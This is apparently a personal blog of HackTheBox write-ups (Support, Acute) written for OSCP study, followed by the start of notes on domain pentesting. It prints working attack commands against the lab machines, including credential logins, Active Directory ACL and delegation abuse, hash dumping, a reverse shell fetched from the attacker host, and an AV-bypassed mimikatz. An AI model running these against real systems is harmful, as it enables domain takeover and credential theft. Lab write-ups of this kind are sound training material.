有这样几个密码挨个试就行了

1

crackmapexec winrm object.htb -u maria -p password.txt

1

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

导入PowerView.ps1 指定maria为域控管理员的所有者然后就能将自己加到组里了

1
2
3
4
5
6
7


. .\PowerView.ps1

#下面两个都可以
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

修改了ACL之后需要重新登录才能生效

结束

这个太难了我还想验证一个事情就是我用smith可以给maria写登陆脚本我已经知道了maria可以将自己加到域管理员组然后赋予别人管理员权限我如果将这一套流程写入登陆脚本里是不是我都不需要知道maria的密码呢

1

echo '. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity "Domain Admins" -Members "smith"' > C:\programdata\cmd.ps1

没有问题可能原作者也是这么想的但是原作者又想到如果这样的话也太难了因为不确定哪个命令能否正常执行

22.Support

信息收集：

没有web服务先走smb 然后rpc ldap

有匿名连接访问之后有这样几个文件挨个搜搜看把貌似是一个软件库主要是如果这个软件在网上存在那肯定没啥用如果是自制的就有用了

UserInfo.exe.zip 只有这个在网上搜不到其他的都是可利用工具

我开启了另一个虚拟机本来我可以在我的物理机上执行的但是我抓包的时候数据太多了太乱了所以我打算去虚拟机里抓看一下这个是干啥的

捕获到了

域名而且请求了ldap 将域名添加到host里

可以看到发起请求了解析到了那个内网IP 但是因为不通所以卡住了

还是失败了我看wireshark我的虚拟机一直往wifi的网关发起请求同时请求vpn的地址但是数据包不知道为什么过不去

追踪出来不知道为什么是空的

不通后面发现是切换VPN的原因重新连VPN就好了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


PS C:\Users\peter\Desktop\UserInfo.exe> .\UserInfo.exe find -first *
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
west.laura
levine.leopoldo
langley.lucy
daughtler.mabel
bardot.mary
stoll.rachelle
thomas.raphael
smith.rosario
wilson.shelby
hernandez.stanley
ford.victoria

一堆用户名我还不太清楚获取的原理只看到之前有个ldap 可能就是ldap查询到的毕竟他后面的数据因为VPN都加密了我解不开

我将获得的用户名当作参数放到user上有返回值了

果然这里是ldap 到这里就卡住了如果它可以自动连接 ida的我看不懂有点超纲了这里我学到了一个新的反编译工具貌似友好一些在file到userinfo.exe 是.net也就是c#写的就可以用下面这个反编译工具

https://github.com/dnSpy/dnSpy/releases

找到了有两种方法一种是静态调试就是打上断点或者把这个加密内容拿过去找一个解密的方式但是C#我看不懂我不知道他如何加密的而且考试不允许去找AI 我不可能现学虽然说看不懂但是语言的逻辑差不多只是写法和函数有差别手动解密这里就不考虑了

username就在这名字就叫ldap 不清楚这个密码带不带"号过会试试就知道了

1

ldap:"nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz"

还有一种动态分析的方法他这里发包没有加密刚刚wireshark看到加密是因为 openvpn加的密所以我看不到具体内容但是如果把ldap服务器设置为本机那么流量是不经过vpn的获取到的也都是明文这个我在刚开始就打算用这个因为我的vpn转移起来很麻烦但是当时报错一直没解决这里解决一下吧

https://www.dedoimedo.com/computers/wine-dotnet-mono.html

https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks

这两个教程配合解决了我的问题

可以正常使用了

1
2


responder -I tun0
wine UserInfo.exe -v find -first admin

在kali上无论是wireshark还是responder都能捕获到这个没问题但是windows上不知道为什么捕获不到而且就算域名指向真实的10.10.11.174的ip

依然没有加密流量是可以捕获到的但是windows一开始我也试了一直不行

没问题

也没什么特殊的地方

winrm不行

貌似只能查询ldap 可以看看如果有服务账户的SPN 或许也能当作切入点

1

GetUserSPNs.py support.htb/ldap:"nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -dc-ip 10.10.11.174 -request

没找到 ldap看看还能不能多找几个用户然后拿刚刚的那个密码撞库用

1
2


ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb"
ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb" | grep -iE "mail"

收集到了这些没啥区别跟上面那个软件查询的

1

crackmapexec smb support.htb -u 1.txt -p "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz"

没结果在上个靶场的时候我发现很多wp他会把靶场的简介贴在开头而靶场简介是有信息可以拿到的这里卡住了就去看看简介

这就有思路了但是有点太剧透了我都感觉跟wp没区别但是这也是其中一种思路吧主要是学会思路和技术

如果仔细看其实也能发现这个用户的信息是没有mail的而且用户名不带. 并且ldpa查询的时候比如上面的那个信息也没返回这个所以要仔细去翻

1

support:Ironside47pleasure40Watchful

1
2
3


crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all

加载到bloodhound看看

看看help能否直接利用

根据教程第一种方法他并不推荐但是可以利用

1

net user Administrator Password123! /domain

但是这里报错了我打算利用第二种他推荐的方法

1
2
3
4


# 第一件事先将PowerView.ps1传上去
upload ../../PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword

确实不能改密码这条路走不通

这条路我发现当前用户对域管理员组有GenericAll权限根据网上找的方法

https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/

也行不通权限不够

我没想到路径会是这样

根据提示我找到了但是我在尝试SUPPORT用户为起点 DC.SUPPORT.HTB为终点的时候没有这样的显示又或者指向administrator也没有这条路径至少又学到了一种新方法以后可以拿当前用户组指向administrator

开始看help 因为都是英文所以我google了博客配合一起使用

他这里提到了这存在基于资源的约束委派先准备以下文件上传到靶机

1
2
3
4
5


https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
Powermad.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
PowerView.ps1
https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 需要自行编译

首先创建一个由当前账户控制的计算机账户这个需要导入Powermad.ps1才行

1
2


. .\Powermad.ps1
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018' -AsPlainText -Force)

导入PowerView.ps1检索新用户的SID

1
2


. .\PowerView.ps1
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

我们现在需要用攻击者添加的计算机SID作为主体构建一个通用的ACE，并获得新的DACL/ACE的二进制字节这一步没搞懂原理慢慢来吧这个基于资源的约束委派其实这个在FOREST的时候用过这个操作做了笔记但是我忘了原理了当作复习也不错

1
2
3
4
5
6


$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity

1
2


.\Rubeus.exe hash /password:Summer2018
.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb

根据教程这一步我要拿到RC4 但是我没有看到任何回显

完全没有任何回显

kali上都有回显如果这个用不了拿不到RC4 那就没法利用

我上传了mimikatz 但是我上传上去了之后发现他不见了

那就已经确定了靶机上有杀毒软件杀毒软件没关我上传的mimikatz直接被杀了导致我的rubeus.exe一直无法执行

https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

我用的是这里面的免杀 RC4实际上就算htlm加密将我创建的密码加密

1

7f4f718d5029000926a9278c5cfd0872

教程的下一步就算请求ST了下面的命令依然不行

1

.\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

mimikatz也不行

1

 .\code_x64.exe "kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator" "exit"

那其实还有办法已经到了获取最后一步ST的地方了 geST.py刚好符合我的需求而且目标的88和389我都能访问 impacket是目前一个好的选择

1
2


ntpdate -u support.htb && date
getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018

终于可以了太艰难了开始导入票据还是之前记录的方法

1
2
3
4


export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass
/usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb

明明导入了又不行了我上面的命令都试了一遍都不行

这个博客给了我答案https://github.com/fortra/impacket/issues/779

每次只要执行impacket里的脚本都要对一次时钟我已经把本地时间校准关了还是会这样现在遇到这个问题以后再使用的时候再次遇到就知道怎么解决了

1
2


ntpdate -u support.htb && date
/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass

结束

这个靶机扩展很好 getshell部分学会了找到软件使用的语言然后找对应的反编译工具就跟python和java的一样用他们对应的反编译工具之后代码逻辑都是能看懂的(ida我是真看不懂) 这里是C# 找到了对应的反编译工具其次学会了kali下wine执行exe文件因为刚开始我配置的时候一直报错我没管还好后面配置好了接着就是ldap处要自行看所有信息有的信息可能就藏在info处

提权部分卡得太多了 bloodhound没有给我用户到组直接的关联这里学到了除了当前用户可以当作基点用户组其实也可以的基于资源的约束委派没什么太大的问题网上教程特别多主要是卡在了免杀部分网上没有Rubeus.exe免杀的版本 mimikatz有免杀的版本但是生成ST貌似比较麻烦我拼接命令没有成功 google也没有找到谁会用mimikatz生成ST 都是用Rubeus.exe 还好后面想到了既然到最后一步生成ST了 impacket其实也可以的而且目标的88端口和389是开着的如果没开或许我还要想其他办法然后也学到了最关键的一点用impacket的工具的时候第一件事对时钟

总体而言这个靶场还算不错的

23.Acute

信息收集：

没有任何东西但是之前遇到过这种情况看看证书

获得了一个域名

还是没有东西但是https可以看了

whatweb指纹扫出来了是.net的站

1
2


whatweb https://atsserver.acute.local/
https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]

加上asp和aspx就开始爆破吧同时FFUF爆破子域名然后看看这个站有什么接口

1
2


gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H "Host: FUZZ.acute.local" --hc 404

爆破没有给我太多信息

右上角有一个文件我给他下载了下来 creator FCastle

里面提到了登陆地址

1
2


The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff
The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction

里面提到了默认密码

1

Password1!

最后面提到了Lois是管理员仅仅只有他这一个管理员

到此处我感觉我还没收集完信息挨个翻译挨个再看一遍

PSWA？我去搜了一下

就是一个网页版的powershell可以执行命令这里提到的意思应该就是新用户可以用PSWA在网页执行命令默认密码也有了现在需要找到登陆页面以及账号

这里有几个超链接挨个看指向的都是https://atsserver.acute.local/

1

https://atsserver.acute.local/Acute_Staff_Access

找到了登陆页面还需要用户名

目录爆破貌似已经给了我答案因为这个网站里面只有这一个文件可以访问我手动的时候也发现了

有用户名了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


Aileen Wallace
Charlotte Hall
Evan Davies
Ieuan Monks
oshua Morgan
Lois Hopkins
Aileen
Wallace
Charlotte
Hall
Evan
Davies
Ieuan
Monks
oshua
Morgan
Lois
Hopkins
FCastle

js加密了反正用户也不多手动也行

我全都试完了没有一个正确的问题可能出现在

我我又去看了word 是否有啥信息结果就是没有了有一些零散的但都不重要我又看了网页也没有最后到了文件元数据那看了主机名

1
2
3


Acute-PC01
edavies
Password1!

进来了

家目录没有flag

并不是域控大概率是域成员 winrm开启的

当前用户有一个家目录但是不属于普通用户奇怪的是在net user里不知道为什么没有当前用户当前用户难道不是普通用户吗

没有太多信息我打算上传winPEASany.exe去看看信息

先弹个shell吧还是传上去直接被杀了最后这几个靶场难道有免杀的要求吗我将netcat传上去反弹

1
2


C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe
.\netcat.exe 10.10.16.14 6666 -e cmd

拿到了

我上传了一个winPEAS.bat 结果bat版本也会被杀我不知道该如何利用了我去看了下简介

我并不知道我除了获取简介里的信息以外怎么才能知道JEA这个东西所以我打算看wp 看看别人是如何利用的

他们都提到了一个目录 Utils 这个目录下面有一个desktop.ini

https://petri.com/microsoft-defender-exclusions-list-windows-10/

这个博客提示了攻击者可以读取 Microsoft Defender 排除列表

1

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s

winPEASany也有提示

这样逻辑就通顺了在以后遇到杀毒软件的时候就可以这样查询目录

这里其实也能看出来将winPEAS传到这个目录可以上传且执行一样重点关注红色我将收集到的信息写到下面

1
2


C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt

还是挨个来

没有任何信息 wp给我的提示是如下图 RDP Sessions处是存在的而我这里却没有

并且我执行

1
2


qwinsta /server:127.0.0.1
qwinsta session

可能我需要重启还是不行 oscp允许使用一次msf的我看了每个wp的这一步他们的做法都是msf 这是我万万没想到的思路如下 msf的powershell看到了上面的RDPsession 然后msf不是可以监控桌面吗监控的时候可以看到有脚本运行截下来就行了这一步我是万万没想到的怎么看这都不符合逻辑首先我卡住的时候经常会看一个作者的WP 他从来不用msf 我看了这么久这是他第一次使用msf 他是这么说的

实际上也是如此比如屏幕截图 msf属于是很方便的了这个靶场被定义为难评分还能保持4.5 以及大部分人觉得这个靶场属于中等到困难难度后面肯定有他的说法的

生成msf然后弹shell回来就行我还是照常上传了winPEAS扫了一下看来跟msf的shell没关系他可能就是不存在

这里作为保留吧知道路线记录方法就行了这是没办法的办法了开始截屏

权限不够无法看到屏幕

我不知道我哪一步做错了我感觉可能是权限的问题 pswa上的权限貌似比netcat反弹shell出来的权限高？这是我唯一和wp不一样的地方从这一步重新开始如果确实是这样的话起码学到了新东西 pswa能执行的命令不要弹netcat来执行

依然notfound

不存在

事实证明了 netcat cmd之后再powershell再弹shell 其实跟pswa没区别本来就是这样我还以为有区别

生成msf的payload都一样因为这玩意也不可能不一样这跟msf没有关系我总感觉靶机出问题了这里省略了一天我把靶机彻底关了有其他的事所以没继续做了过了一天重新开启靶机发现正常了

奇了怪了

有画面了在这一天期间我了解到了OSCP允许使用MSF进行监听以及生成shell 这个没有次数限制他限制的一次是打exp 各种各样的EXP的时候才限制

1

sharp\imonks w3_4R3_th3_f0rce.

根据他的命令它是通过winrm服务去找ATSSERVER进行连接

拼接他的命令就行

1
2
3


$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

报错了

但是针对winrm 还是有办法的比如下面这个博客介绍了关于winrm的大部分操作

https://www.west.cn/docs/133652.html

1
2


invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage
invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage

上面的命令可以拼接出来来读出flag 我将netcat.exe 传上去获得一个交互式的shell

1

invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage

貌似不行其实也一样能用开始翻文件

1
2
3
4


$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

这个文件里有jmorgan的密码当然这个跟之前学的一样是安全密码翻了一下在Omni那里遇到过原理我记起了一些加密字符串是由哪个用户创建的就只能以什么用户权限才能解密并且在哪台计算机上加密的也只能在那台计算机上解密以当前用户和我自己的windows上允许了上面的命令并尝试

1

$Creds.GetNetworkCredential().password

之后我才想到这一点因为距离那个靶场确实有段时间了后面会复习hackthebox我记得所有笔记

那就只能拼接命令让imonks在ATSSERVER上执行这个命令

1

Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

需要先导入凭证再用$Creds.GetNetworkCredential().password读取就行

报错了既然也无法导出凭证那么就直接拼接命令把

1
2
3
4
5
6
7


Invoke-Command -ScriptBlock {
 $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';
 $passwd = $securepasswd | ConvertTo-SecureString;
 $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd);
 $netcatCmd = "C:\utils\netcat.exe 10.10.16.14 6666 -e cmd";
 Start-Process -FilePath "cmd.exe" -ArgumentList "/c $netcatCmd" -Credential $creds
} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

这个命令利用内层的凭证来执行反弹shell的命令

但是跟上面一样无法执行

看了眼wp 它提示到外层的这个用户可以修改wm.ps1然后执行这弥补了当前用户无法依靠那个凭证来执行的权限

1
2
3
4


Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\netcat.exe -e cmd 10.10.16.14 6666') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
#下面直接运行
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

成功上来了

新用户第一件事还是whoami /priv

可以看到开了很多权限

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\Utils\w.log"

没问题烂土豆可以直接提

没东西？我担心的事情还是发生了我看IP的时候就发现不对劲了他提的DC01这个电脑还真就是DC01这个电脑我之前猜测的也没错这是一个域成员主机域成员要向域控发起攻击的话除了漏洞利用或者域控开启一些服务但是现在我连域控的真实IP都没有获取那个443就是域控只是一些服务都没放出来那就代表我在内部是可以访问的如果可能我需要搭建隧道针对域控进行攻击

真实IP还是10.10.11.145？我有点不敢确定因为我访问它的445报错这可能只是一个边界服务器把还有一种方法目标开启了PSWA 并且我本地是可以切换用户的而administrator后面明显跟了一个.ACUTE 在我的理解中这貌似代表他是一个域用户后面会跟上域名在学习的时候创建了两个相同的账号比如本地帐号叫john 如果想在入域必须要建一个域账户如果域账户名称和本地账户名称冲突了比如我还要在建一个叫john的账户那么john后面会加上域名这样才能防止本地计算机出现冲突

目前的信息就是目标开启了PSWA以及当前用户可以切换用户那么把他的sam和system读出来然后破解然后再撞库如果可能可以直接进域

1
2


reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

这里我选择nc传貌似smb会出错

1
2
3
4
5
6


nc -l -p 10000 > SamBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SamBkup.hiv
nc -l -p 10000 > SystemBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SystemBkup.hiv

 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL

1
2
3
4
5
6
7


Administrator和Natasha密码一样
如果没有那么还可以用hashcat

echo "a29f7623fd11550def0192de9246f46b" > hash.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Password@123

上不去内部肯定不用说了能上去目前的目标是访问ATSSERVER 目前我在DC01上已经是SYSTEM了没有其他必要了 PSWA也不允许访问ATSSERVER才对也就是只能在内部访问我尝试了本地的几个账户进行远程访问

1
2
3


$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\user", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

但都行不通又去看了wp 我不知道他在哪找的用户就直接出来了我回到开头发现用户名为 awallace 正是第一个用户的名字缩写这个我完全想不到我接着去看其他wp 看看他们的思路是啥样的

还真让我找到了任何域成员账户都有权去查看

1
2
3
4
5
6


# 列出powershell可用的
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}

# 列出域用户
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user /domain}
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /domain}

开始尝试这些号刚好awallace密码就是Password@123

1
2
3


$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }

后续太难了我只能挨个复现需要大量时间去找目标计算机存在的东西这就是下一步在这之前我尝试去反弹shell

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }

并不行还是按照着来吧用这个翻文件

1

Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

然后查看里面的文件

1

Invoke-Command -ScriptBlock { cat '\program files\keepmeon\keepmeon.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

1
2
3
4
5


REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)

这个脚本每五分钟运行一次只有Lois可以使用

1
2
3
4
5


/R 是递归所有路径
*.bat 是查找所有bat文件
%%x 是循环遍历 存储找到的路径
%~0 当前脚本
如果%%x不是%~0(当前脚本)那么call 也就是执行它

而且是Lois执行也就是我放一个反弹shell的bat就行了吗导入过凭证了再去看看有什么命令

1

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {Get-command}

无法使用curl那些我无法判断这台机器是否能和我相通相通的话我觉得可以直接反弹shell了我尝试直接写bat

1

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\1.bat" -Value 'curl http://10.10.16.14:33333/ncexe/netcat.exe -o "C:\program files\keepmeon\netcat.exe"' }

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\1.bat" }

没问题但是还得反弹shell 再写一个2.bat

1

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\2.bat" -Value 'C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd' }

1
2


Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\2.bat" }

没问题现在等一会就行了等的期间我也在想后面的路如果说这个域控确实无法通攻击机那么是否我能将这台DC01当作跳板呢但是我不确定的是这台DC01的IP 像是再容器里我不清楚域控能否访问到这台DC01 即使我把防火墙关了我也无法验证而且每5分钟执行一次只为验证有点麻烦我在结束的时候在验证把

我等了许久一直没有任何反应还是看wp把

查看管理员组还是根据开头的word文档提示 Lois虽然不是域控管理员但是它可以将其他用户加入网站管理员

1

Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

就是这个组接着看信息

1

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

这个介绍说只有紧急情况才会将人添加进去他可以访问域控管理员组根据他的说法网站管理员组直接被添加了域控管理员组成员也就是加入这个组的用户将会和域控管理员有一样的权限而Lois可以把用户加进去可以拼接命令将当前用户awallace加进去就行

1
2


Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\3.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat '\program files\keepmeon\3.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

后续一直盯着看就行了

1

Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

接着开始等我有点怀疑他是不是5分钟运行一次因为我的1.bat没有生成netcat.exe文件很大原因就是因为网络不通才不会生成为了验证我的猜想也是我想看看他到底运行每我再写入一个文件

1

Invoke-Command -ScriptBlock { Set-Content -Path 'C:\program files\keepmeon\4.bat' -Value 'echo "1" > 1.txt' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

我在之前利用>在写入文件报错了但是也得验证才行

等了很久还是没有一点反应我将靶机关了再开一次然后重复之前的步骤

netcat生成了代表执行成功了

依然没有结果但是实际上

已经可以访问flag了

结束

目前先不关靶机毕竟我写入了一个反弹shell的bat文件再等等如果不行再关这个靶场非常非常难做完之后在回顾发现貌似可能也就那样但是在漫无目的的利用的时候完全没这种思路就比如有些目录得需要一直翻攻击链证据链都很完善但是它太难了并且这次尝试中没有搭建任何隧道全是靠内部原生命令横向的但是也没那么麻烦只要拿到DC01的权限就能一直横这个靶场作为学习非常有用

到此为止还有3个靶场但是我不打算做下去了一方面是已经报名了OSCP 该去打labs了还有一方面是做了这么多越到后面越感觉吃力一个靶场我可能得需要一到两天我打算先去试试OSCP labs的难度

域渗透：常见技巧

Mon, 25 Nov 2024 12:00:00 +0800

1. WSMan/WinRM

WinRM默认使用5985(HTTP)和5986(HTTPS)

如果域控开了该服务当我们获得一个账号的时候

1
2
3
4
5
6


# 使用crackmapexec检查权限
crackmapexec winrm <DC_IP> -u svc-account -p password --shares
# 尝试WinRM
evil-winrm -i <DC_IP> -u svc-account -p password

Bypass-4MSI 切换cmd

域渗透：针对常见服务

Sun, 24 Nov 2024 22:55:00 +0800

一、SPN

SPN 基本概念:

SPN 是服务主体名称,用于在域环境中唯一标识一个服务实例
格式通常为: 服务类型/主机名
比如: HTTP/webserver.domain.com

SPN 的重要性:

它是 Kerberos 认证的关键组成部分
当用户访问服务时,会通过 SPN 来获取该服务的 Kerberos ticket
服务账户的 SPN 信息存储在 Active Directory 中

SPN 扫描的目的:

发现域内注册的服务
识别潜在的服务账户
为后续的 Kerberoasting 攻击做准备

搭建环境

 1
 2
 3
 4
